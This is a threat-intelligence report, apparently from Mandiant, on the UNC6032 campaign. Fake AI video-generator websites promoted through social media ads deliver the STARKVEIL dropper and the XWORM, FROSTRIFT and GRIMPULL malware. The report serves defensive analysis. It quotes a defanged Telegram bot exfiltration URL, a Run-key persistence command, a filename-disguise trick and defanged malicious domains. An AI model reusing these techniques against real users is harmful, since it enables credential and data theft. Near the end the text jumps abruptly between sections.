Text-to-Malware: How Cybercriminals Weaponize Fake AI-Themed Websites

Since November 2024, Mandiant Threat Defense has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake “AI video generator” websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and several backdoors. Victims are typically directed to these fake websites via malicious social media ads that masquerade as legitimate AI video generator tools like Luma AI, Canva Dream Lab, and Kling AI, among others. Mandiant Threat Defense has identified thousands of UNC6032-linked ads that have collectively reached millions of users across various social media platforms like Facebook and LinkedIn. We suspect similar campaigns are active on other platforms as well, as cybercriminals consistently evolve tactics to evade detection and target multiple platforms to increase their chances of success.

Mandiant Threat Defense has observed UNC6032 compromises culminating in the exfiltration of login credentials, cookies, credit card data, and Facebook information through the Telegram API. This campaign has been active since at least mid-2024 and has impacted victims across different geographies and industries. Google Threat Intelligence Group (GTIG) assesses UNC6032 to have a Vietnam nexus.

Mandiant Threat Defense acknowledges Meta’s collaborative and proactive threat hunting efforts in removing the identified malicious ads, domains, and accounts. Notably, a significant portion of Meta’s detection and removal began in 2024, prior to Mandiant alerting them of additional malicious activity we identified.

A similar investigation was recently published by Morphisec.

Campaign Overview

Threat actors haven’t wasted a moment capitalizing on the global fascination with Artificial Intelligence. As AI’s popularity surged over the past couple of years, cybercriminals quickly moved to exploit the widespread excitement. Their actions have fueled a massive and rapidly expanding campaign centered on fraudulent websites masquerading as cutting-edge AI tools. These websites have been promoted by a large network of misleading social media ads, similar to the ones shown in Figure 1 and Figure 2.

As part of Meta’s implementation of the Digital Services Act, the Ad Library displays additional information (ad campaign dates, targeting parameters and ad reach) on all ads that target people from the European Union. LinkedIn has also implemented a similar transparency tool.

Our research through both Ad Library tools identified over 30 different websites, mentioned across thousands of ads, active since mid 2024, all displaying similar ad content. The majority of ads which we found ran on Facebook, with only a handful also advertised on LinkedIn. The ads were published using both attacker-created Facebook pages, as well as by compromised Facebook accounts. Mandiant Threat Defense performed further analysis of a sample of over 120 malicious ads and, from the EU transparency section of the ads, their total reach for EU countries was over 2.3 million users. Table 1 displays the top 5 Facebook ads by reach. It should be noted that reach does not equate to the number of victims. According to Meta, the reach of an ad is an estimated number of how many Account Center accounts saw the ad at least once.

Table 1: Top 5 Facebook ads by reach

The threat actor constantly rotates the domains mentioned in the Facebook ads, likely to avoid detection and account bans. We noted that once a domain is registered, it will be referenced in ads within a few days if not the same day. Moreover, most of the ads are short lived, with new ones being created on a daily basis.

On LinkedIn, we identified roughly 10 malicious ads, each directing users to hxxps://klingxai[.]com. This domain was registered on September 19, 2024, and the first ad appeared just a day later. These ads have a total impression estimate of 50k-250k. For each ad, the United States was the region with the highest percentage of impressions, although the targeting included other regions such as Europe and Australia.

Table 2: LinkedIn ads

From the websites investigated, Mandiant Threat Defense observed that they have similar interfaces and offer purported functionalities such as text-to-video or image-to-video generation. Once the user provides a prompt to generate a video, regardless of the input, the website will serve one of the static payloads hosted on the same (or related) infrastructure.

The payload downloaded is the STARKVEIL malware. It drops three different modular malware families, primarily designed for information theft and capable of downloading plugins to extend their functionality. The presence of multiple, similar payloads suggests a fail-safe mechanism, allowing the attack to persist even if some payloads are detected or blocked by security defences.

In the next section, we will delve deeper into one particular compromise Mandiant Threat Defense responded to.

Luma AI Investigation

Infection Chain

This blog post provides a detailed analysis of our findings on the key components of this campaign:

Lure: The threat actors leverage social networks to push AI-themed ads that direct users to fake AI websites, resulting in malware downloads.

Malware: It contains several malware components, including the STARKVEIL dropper, which deploys the XWORM and FROSTRIFT backdoors and the GRIMPULL downloader.

Execution: The malware makes extensive use of DLL side-loading, in-memory droppers, and process injection to execute its payloads.

Persistence: It uses AutoRun registry key for its two Backdoors (XWORM and FROSTRIFT).

Anti-VM and Anti-analysis: GRIMPULL checks for commonly used artifactsfeatures from known Sandbox and analysis tools.

Reconnaissance

Host reconnaissance: XWORM and FROSTRIFT survey the host by collecting information, including OS, username, role, hardware identifiers, and installed AV.

Software reconnaissance: FROSTRIFT checks the existence of certain messaging applications and browsers.

Command-and-control (C2)

Tor: GRIMPULL utilizes a Tor Tunnel to fetch additional .NET payloads.

Telegram: XWORM sends victim notification via telegram including information gathered during host reconnaissance.

TCP: The malware connects to its C2 using ports 7789, 25699, 56001.

Information stealer 

Keylogger: XWORM log keystrokes from the host.

Browser extensions: FROSTRIFT scans for 48 browser extensions related to Password managers, Authenticators, and Digital wallets potentially for data theft.

Backdoor Commands: XWORM supports multiple commands for further compromise.

The Lure

This particular case began from a Facebook Ad for “Luma Dream AI Machine”, masquerading as a well-known text-to-video AI tool – Luma AI. The ad, as seen in Figure 4, redirected the user to an attacker-created website hosted at hxxps://lumalabsai[.]in/.

Once on the fake Luma AI website, the user can click the “Start Free Now” button and choose from various video generation functionalities. Regardless of the selected option, the same prompt is displayed, as shown in the GIF in Figure 5.

This multi-step process, made to resemble any other legitimate text-to-video or image-to-video generation tool website, creates a sense of familiarity to the user and does not give any immediate indication of malicious intent. Once the user hits the generate button, a loading bar appears, mimicking an AI model hard at work. After a few seconds, when the new video is supposedly ready, a Download button is displayed. This leads to the download of a ZIP archive file on the victim host.

Unsurprisingly, the ready-to-download archive is one of many payloads already hosted on the same server, with no connection to the user input. In this case, several archives were hosted at the path hxxps://lumalabsai[.]in/complete/. Mandiant determined that the website will serve the archive file with the most recent “Last Modified” value, indicating continuous updates by the threat actor. Mandiant compared some of these payloads and found them to be functionally similar, with different obfuscation techniques applied, thus resulting in different sizes.

Execution

The previously downloaded ZIP archive contains an executable with a double extension (.mp4 and .exe) in its name, separated by thirteen Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80) characters. This is a special whitespace character from the Braille Pattern Block in Unicode.

The resulting file name, Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, aims to make the binary less suspicious by pushing the .exe extension out of the user view. The number of Braille Pattern Blank characters used varies across different samples served, ranging from 13 to more than 30. To further hide the true purpose of this binary, the default .mp4 Windows icon is used on the malicious file.

Figure 8 shows how the file looks on Windows 11, compared to a legitimate .mp4 file.

STARKVEIL

The binary Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, tracked by Mandiant as STARKVEIL, is a dropper written in Rust. Once executed, it extracts an embedded archive containing benign executables and its malware components. These are later utilized to inject malicious code into several legitimate processes.

Executing the malware displays an error window, as seen in Figure 9, to trick the user into trying to execute it again and into believing that the file is corrupted.

For a successful compromise, the executable needs to run twice; the initial execution results in the extraction of all the embedded files under the C:winsystem directory.

During the second execution, the main executable spawns the Python Launcher, py.exe, with an obfuscated Python command as an argument. The Python command decodes an embedded Python code, which Mandiant tracks as COILHATCH dropper. COILHATCH performs the following actions (note that the script has been deobfuscated and renamed for improved readability):

The command takes a Base85-encoded string, decodes it, decompresses the result using zlib, deserializes the resulting data using the marshalmodule, and then executes the final deserialized data as Python code.

The following is the resulting process tree:

Malware Analysis

As mentioned, the STARKVEIL malware drops its components during its first execution and executes a launcher on its second execution. The complete analysis of all the malware components and their roles is provided in the next sections.

Table 3: Malware components

Each of these DLLs operates as an in-memory dropper and spawns a new victim process to perform code injection through process replacement.

Launcher

The execution of C:winsystemheifheif.exe results in the side-loading of the malicious heif.dll, located in the same directory. This DLL is an in-memory dropper that spawns a legitimate Windows process (which may vary) and performs code injection through process replacement.

The injected code is a .NET executable that acts as a launcher and performs the following:

Moves multiple folders from C:winsystem to %APPDATA%. The destination folders are:

%APPDATA%python
%APPDATA%pythonw
%APPDATA%ffplay
%APPDATA%Launcher

Launches three legitimate processes to side-load associated malicious DLLs. The malicious DLLs for each process are:

python.exe: %APPDATA%pythonavcodec-61.dll
pythonw.exe: %APPDATA%pythonwheif.dll
ffplay.exe: %APPDATA%ffplaylibde265.dll

Establishes persistence via AutoRun registry key.

value: Dropbox
key: SOFTWAREMicrosoftWindowsCurrentVersionRun
root: HKCU
value data: “cmd.exe /c “cd /d “<exePath>” && “Launcher.exe””

The AutoRun Key executes %APPDATA%LauncherLauncher.exe that sideloads the DLL file libde265.dll. This DLL spawns and injects its payload into AddInProcess32.exe via PE hollowing. The injected code’s main purpose is to execute the legitimate binaries C:winsystemheif2rgbheif2rgb.exe and C:winsystemheif-infoheif-info.exe, which, in turn, sideload the backdoors XWORM and FROSTRIFT, respectively.

GRIMPULL

Of the three executables, the launcher first executes %APPDATA%pythonpython.exe, which side-loads the DLL avcodec-61.dll and injects the malware GRIMPULL into a legitimate Windows process.

GRIMPULL is a .NET-based downloader that incorporates anti-VM capabilities and utilizes Tor for C2 server connections.

Anti-VM and Anti-Analysis

GRIMPULL begins by checking for the presence of the mutex value aff391c406ebc4c3, and terminates itself if this is found. Otherwise, the malware proceeds to perform further anti-VM checks, exiting in case any of the mentioned checks succeeds.

☠ [KW-2201]

New Clinet : <client_id_from_machine_info_hash>
UserName : <victim_username>
OSFullName : <victim_OS_name>
USB : <is_sample_name_USB.exe>
CPU : <cpu_description>
GPU : <gpu_description>
RAM : <ram_size_in_GBs>
Groub : <installed_av_solutions> This information is sent to a Telegram chat:

hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1
owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo>

Keylogging

The malware sample saves the logged keystrokes to the file %temp%\Log.tmp.

Sample of content of Log.tmp:

....### explorer ###..[Back]
[Back]
b    
a
n
k
[ENTER]